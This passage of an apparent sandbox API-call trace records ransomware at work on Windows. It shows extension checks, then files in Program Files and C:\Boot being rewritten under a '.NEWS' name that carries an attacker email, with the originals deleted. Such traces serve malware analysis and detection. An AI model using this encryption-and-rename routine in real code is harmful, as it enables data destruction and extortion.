(lpString=".ppt") returned 4 [0272.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.719] lstrlenW (lpString=".zip") returned 4 [0272.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.719] lstrlenW (lpString=".rar") returned 4 [0272.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.719] lstrlenW (lpString=".bz2") returned 4 [0272.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.719] lstrlenW (lpString=".7z") returned 3 [0272.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.720] lstrlenW (lpString=".dbf") returned 4 [0272.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.720] lstrlenW (lpString=".1cd") returned 4 [0272.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.720] lstrlenW (lpString=".jpg") returned 4 [0272.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.720] lstrlenW (lpString=".doc") returned 4 [0272.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.721] lstrlenW (lpString=".docx") returned 5 [0272.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.721] lstrlenW (lpString=".pdf") returned 4 [0272.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.721] lstrlenW (lpString=".xls") returned 4 [0272.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.721] lstrlenW (lpString=".xlsx") returned 5 [0272.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.721] lstrlenW (lpString=".ppt") returned 4 [0272.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.722] lstrlenW (lpString=".zip") returned 4 [0272.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.722] lstrlenW (lpString=".rar") returned 4 [0272.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.722] lstrlenW (lpString=".bz2") returned 4 [0272.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.722] lstrlenW (lpString=".7z") returned 3 [0272.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.722] lstrlenW (lpString=".dbf") returned 4 [0272.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.723] lstrlenW (lpString=".1cd") returned 4 [0272.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.723] lstrlenW (lpString=".jpg") returned 4 [0272.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.723] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.723] lstrlenW (lpString="BS01634_.WMF") returned 12 [0272.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0272.870] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=3494) returned 1 [0272.878] CloseHandle (hObject=0x3b0) returned 1 [0272.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0272.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0272.886] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.887] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0272.888] GetLastError () returned 0x0 [0272.888] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0xda6, lpOverlapped=0x0) returned 1 [0272.893] WriteFile (in: hFile=0x39c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0272.896] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.896] WriteFile (in: hFile=0x39c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.896] SetEndOfFile (hFile=0x39c) returned 1 [0272.897] CloseHandle (hObject=0x39c) returned 1 [0272.897] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.897] SetEndOfFile (hFile=0x3b0) returned 1 [0272.908] CloseHandle (hObject=0x3b0) returned 1 [0272.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0272.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0272.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0272.910] lstrlenW (lpString=".doc") returned 4 [0272.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.910] lstrlenW (lpString=".docx") returned 5 [0272.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.910] lstrlenW (lpString=".pdf") returned 4 [0272.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.910] lstrlenW (lpString=".xls") returned 4 [0272.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.911] lstrlenW (lpString=".xlsx") returned 5 [0272.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.911] lstrlenW (lpString=".ppt") returned 4 [0272.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0272.911] lstrlenW (lpString=".zip") returned 4 [0272.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.911] lstrlenW (lpString=".rar") returned 4 [0272.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.911] lstrlenW (lpString=".bz2") returned 4 [0272.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.912] lstrlenW (lpString=".7z") returned 3 [0272.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0272.912] lstrlenW (lpString=".dbf") returned 4 [0272.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0272.912] lstrlenW (lpString=".1cd") returned 4 [0272.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0272.912] lstrlenW (lpString=".jpg") returned 4 [0272.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0272.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0272.913] lstrlenW (lpString=".doc") returned 4 [0272.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.913] lstrlenW (lpString=".docx") returned 5 [0272.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.913] lstrlenW (lpString=".pdf") returned 4 [0272.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.913] lstrlenW (lpString=".xls") returned 4 [0272.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.913] lstrlenW (lpString=".xlsx") returned 5 [0272.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.913] lstrlenW (lpString=".ppt") returned 4 [0272.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0272.914] lstrlenW (lpString=".zip") returned 4 [0272.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.914] lstrlenW (lpString=".rar") returned 4 [0272.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString=".bz2") returned 4 [0272.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString=".7z") returned 3 [0272.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") Thread: id = 68 os_tid = 0x650 [0193.621] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a20260 [0193.622] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a30268 [0193.624] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4be0 [0193.624] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x930f10 [0193.624] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4bf8 [0193.624] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3c20020 [0193.625] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c10 [0193.625] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4c10, Size=0x20) returned 0x8d32b0 [0193.625] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c10 [0193.625] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4c10, Size=0x20) returned 0x8d3288 [0193.625] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.625] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.625] Wow64DisableWow64FsRedirection (in: OldValue=0x306ff58 | out: OldValue=0x306ff58*=0x0) returned 1 [0193.625] lstrlenW (lpString="kernel32.dll") returned 12 [0193.625] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d32b0 | out: hHeap=0x880000) returned 1 [0193.626] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.626] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3288 | out: hHeap=0x880000) returned 1 [0193.626] Sleep (dwMilliseconds=0x64) [0193.838] Sleep (dwMilliseconds=0x64) [0194.895] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.896] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0194.896] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.896] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=89152) returned 1 [0194.896] CloseHandle (hObject=0x1f4) returned 1 [0194.896] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0194.897] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.897] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.897] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.897] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.897] lstrlenW (lpString=".doc") returned 4 [0194.897] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.897] lstrlenW (lpString=".docx") returned 5 [0194.897] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.897] lstrlenW (lpString=".pdf") returned 4 [0194.898] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.898] lstrlenW (lpString=".xls") returned 4 [0194.898] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.898] lstrlenW (lpString=".xlsx") returned 5 [0194.898] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.898] lstrlenW (lpString=".ppt") returned 4 [0194.898] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.898] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.898] lstrlenW (lpString=".zip") returned 4 [0194.898] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.898] lstrlenW (lpString=".rar") returned 4 [0194.898] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.898] lstrlenW (lpString=".bz2") returned 4 [0194.899] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.899] lstrlenW (lpString=".7z") returned 3 [0194.899] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.899] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.899] lstrlenW (lpString=".dbf") returned 4 [0194.899] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.899] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.899] lstrlenW (lpString=".1cd") returned 4 [0194.899] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.899] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.900] lstrlenW (lpString=".jpg") returned 4 [0194.900] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.900] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.900] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.900] lstrlenW (lpString=".doc") returned 4 [0194.900] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.900] lstrlenW (lpString=".docx") returned 5 [0194.900] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.900] lstrlenW (lpString=".pdf") returned 4 [0194.900] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.900] lstrlenW (lpString=".xls") returned 4 [0194.901] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.901] lstrlenW (lpString=".xlsx") returned 5 [0194.901] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.901] lstrlenW (lpString=".ppt") returned 4 [0194.901] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.901] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.901] lstrlenW (lpString=".zip") returned 4 [0194.901] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.901] lstrlenW (lpString=".rar") returned 4 [0194.901] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.901] lstrlenW (lpString=".bz2") returned 4 [0194.901] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.901] lstrlenW (lpString=".7z") returned 3 [0194.902] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.902] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.902] lstrlenW (lpString=".dbf") returned 4 [0194.902] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.902] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.902] lstrlenW (lpString=".1cd") returned 4 [0194.902] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.902] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0194.902] lstrlenW (lpString=".jpg") returned 4 [0194.902] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.903] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0194.903] lstrlenW (lpString="chs_boot.ttf") returned 12 [0194.903] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.903] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=3694080) returned 1 [0194.903] CloseHandle (hObject=0x1f4) returned 1 [0194.904] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0194.904] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.904] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0194.905] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.905] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.905] lstrlenW (lpString=".doc") returned 4 [0194.905] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0194.905] lstrlenW (lpString=".docx") returned 5 [0194.905] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0194.905] lstrlenW (lpString=".pdf") returned 4 [0194.905] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0194.905] lstrlenW (lpString=".xls") returned 4 [0194.905] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0194.905] lstrlenW (lpString=".xlsx") returned 5 [0194.905] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0194.905] lstrlenW (lpString=".ppt") returned 4 [0194.906] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0194.906] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.906] lstrlenW (lpString=".zip") returned 4 [0194.906] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0194.906] lstrlenW (lpString=".rar") returned 4 [0194.906] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0194.906] lstrlenW (lpString=".bz2") returned 4 [0194.906] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0194.906] lstrlenW (lpString=".7z") returned 3 [0194.906] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0194.906] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.906] lstrlenW (lpString=".dbf") returned 4 [0194.906] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0194.907] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.907] lstrlenW (lpString=".1cd") returned 4 [0194.907] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0194.907] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.907] lstrlenW (lpString=".jpg") returned 4 [0194.907] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0194.907] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.907] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.907] lstrlenW (lpString=".doc") returned 4 [0194.907] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0194.907] lstrlenW (lpString=".docx") returned 5 [0194.907] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0194.908] lstrlenW (lpString=".pdf") returned 4 [0194.908] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0194.908] lstrlenW (lpString=".xls") returned 4 [0194.908] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0194.908] lstrlenW (lpString=".xlsx") returned 5 [0194.908] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0194.908] lstrlenW (lpString=".ppt") returned 4 [0194.908] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0194.908] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.908] lstrlenW (lpString=".zip") returned 4 [0194.908] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0194.908] lstrlenW (lpString=".rar") returned 4 [0194.909] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0194.909] lstrlenW (lpString=".bz2") returned 4 [0194.909] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0194.909] lstrlenW (lpString=".7z") returned 3 [0194.909] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0194.909] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.909] lstrlenW (lpString=".dbf") returned 4 [0194.909] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0194.909] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.909] lstrlenW (lpString=".1cd") returned 4 [0194.909] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0194.909] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0194.909] lstrlenW (lpString=".jpg") returned 4 [0194.910] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0194.911] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0194.911] lstrlenW (lpString="cht_boot.ttf") returned 12 [0194.911] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.525] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=3876772) returned 1 [0195.525] CloseHandle (hObject=0x208) returned 1 [0195.525] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0195.526] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.526] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0195.526] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.526] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.526] lstrlenW (lpString=".doc") returned 4 [0195.526] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0195.526] lstrlenW (lpString=".docx") returned 5 [0195.526] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0195.527] lstrlenW (lpString=".pdf") returned 4 [0195.527] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0195.527] lstrlenW (lpString=".xls") returned 4 [0195.527] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0195.527] lstrlenW (lpString=".xlsx") returned 5 [0195.527] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0195.527] lstrlenW (lpString=".ppt") returned 4 [0195.527] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0195.527] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.527] lstrlenW (lpString=".zip") returned 4 [0195.527] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 